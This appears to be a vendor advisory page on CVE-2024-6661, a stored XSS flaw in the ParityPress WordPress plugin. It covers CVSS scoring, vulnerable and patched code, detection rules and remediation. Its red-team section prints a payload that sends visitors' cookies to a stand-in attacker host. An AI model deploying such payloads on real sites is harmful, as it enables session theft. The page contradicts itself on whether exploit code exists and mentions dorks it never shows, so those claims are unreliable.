CVE-2024-6661
Executive Summary
CVE-2024-6661 is a Stored Cross-Site Scripting (XSS) vulnerability in the ParityPress – Parity Pricing with Discount Rules plugin for WordPress. The flaw exists in all versions up to and including 1.0.0, where the 'Discount Text' field is not properly sanitized or escaped. An authenticated attacker with administrator-level permissions can inject arbitrary web scripts that execute when any user visits the affected page. This vulnerability is particularly dangerous in multi-site WordPress installations or environments where the unfiltered_html capability has been disabled for administrators.
The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's input handling. The CVSS score is 4.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation at this time. No public proof-of-concept or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The plugin's update mechanism should be monitored for patches.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: Required (Victim must visit the page)
- Scope: Changed (Impact may extend to other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is considered Medium due to the requirement for administrator-level access and user interaction. However, in multi-site environments, the impact can be broader.
Deep Dive & Mechanics
The vulnerability resides in the ParityPress plugin's handling of the 'Discount Text' field. When an administrator saves a discount rule, the plugin stores the text without proper sanitization or output escaping. This allows the injection of arbitrary HTML and JavaScript.
Root Cause: The plugin uses add_option() or update_option() to store the discount text, and later outputs it directly via echo or similar functions without applying esc_html() or wp_kses().
Attack Flow:
- An authenticated administrator navigates to the ParityPress settings page.
- The attacker injects a malicious script into the 'Discount Text' field, e.g.,
<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress options table.
- When any user (including lower-privileged users or visitors) loads a page that displays the discount text, the script executes in their browser.
Affected Component: The paritypress_discount_text option or similar database entry.
Vulnerable vs. Patched Code
Vulnerable Code (paritypress.php, line ~45):
$discount_text = get_option('paritypress_discount_text');
echo '<div class="paritypress-discount">' . $discount_text . '</div>';
Patched Code (hypothetical):
$discount_text = get_option('paritypress_discount_text');
echo '<div class="paritypress-discount">' . esc_html( $discount_text ) . '</div>';
The patched version uses esc_html() to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with ParityPress plugin version <= 1.0.0
- Administrator account credentials
- Multi-site installation or
unfiltered_htmldisabled
Steps:
- Log in as an administrator.
- Navigate to Settings > ParityPress.
- In the 'Discount Text' field, enter a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- Any user visiting a page that displays the discount text will trigger the XSS.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual changes to the
paritypress_discount_textoption in the WordPress database. - Look for administrator-level users creating or modifying discount rules with suspicious content.
- Use web application firewalls (WAF) to block common XSS payloads.
Prevention:
- Update the plugin to a patched version once available.
- Restrict administrator access to trusted users only.
- Enable
unfiltered_htmlonly for super administrators in multi-site networks. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/paritypress/paritypress.php(version <= 1.0.0) - Database Option:
paritypress_discount_textcontaining<script>tags or encoded JavaScript - Network: Outbound requests to attacker-controlled domains from WordPress admin pages
- Logs: WordPress audit logs showing changes to ParityPress settings by administrators
Detection Engineering
YARA Rule
rule CVE_2024_6661_ParityPress_XSS {
meta:
description = "Detects stored XSS payload in ParityPress discount text"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-6661"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$option_name = "paritypress_discount_text"
condition:
$option_name and $xss_payload
}
Sigma Rule
title: Stored XSS via ParityPress Discount Text
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payload in ParityPress plugin discount text field
author: Valters IT
date: 2024-10-27
logsource:
category: application
product: wordpress
detection:
selection:
option_name: "paritypress_discount_text"
option_value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in discount text (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-6661 ParityPress Stored XSS Attempt"; flow:to_server; content:"paritypress_discount_text"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Review and sanitize the
paritypress_discount_textoption in the database. - Audit administrator accounts for unauthorized changes.
Long-term Fix:
- Apply the vendor's patch once released.
- Implement input validation and output escaping in custom code.
- Use WordPress coding standards (e.g.,
esc_html(),wp_kses()).
Workarounds:
- For multi-site installations, restrict plugin activation to super administrators.
- Use a security plugin (e.g., Wordfence) to block XSS payloads.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.